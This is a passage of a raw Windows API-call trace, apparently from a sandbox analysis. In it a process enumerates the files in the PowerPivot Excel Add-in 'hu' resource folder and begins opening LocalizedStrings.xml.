lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0270.717] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61b241f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x200a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0270.717] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae6f174, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0270.718] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefe4d066, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefebf763, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1e038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0270.718] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbe60d8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbe60d8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbe60d8f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0270.718] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0270.718] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0270.718] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0270.718] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d4bb8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d4bb8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d71cd8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0270.718] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ee20e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0270.719] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4409f1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4409f1c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0270.719] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf07b04e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf07b04e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf07b04e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0270.719] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0270.719] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0270.719] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x85e80ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x85e80ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x85e80ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0270.719] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61fe8c4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61fe8c4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61fe8c4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0270.719] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0270.719] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0270.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0270.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0270.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0270.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu", lpFilePart=0x0) returned 0x51 [0270.720] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0270.720] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.720] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1152, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0270.720] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x196cd32, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x196cd32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x196cd32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd028, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0270.721] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b9ee02, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7bc5054, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0270.721] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0270.721] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61b241f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x200a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0270.721] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae6f174, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0270.721] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefe4d066, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefebf763, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1e038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0270.721] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbe60d8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbe60d8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbe60d8f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0270.722] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0270.722] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0270.722] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0270.722] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d4bb8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d4bb8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d71cd8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0270.722] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ee20e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0270.722] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4409f1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4409f1c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0270.723] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf07b04e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf07b04e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf07b04e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0270.723] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0270.723] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0270.723] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x85e80ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x85e80ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x85e80ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0270.723] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61fe8c4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61fe8c4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61fe8c4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0270.723] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61fe8c4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61fe8c4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61fe8c4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0270.724] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0270.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0270.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0270.724] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0270.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0270.724] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x3936b10 | out: lpFileInformation=0x3936b10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1152)) returned 1 [0270.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0270.724] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0270.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0270.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot 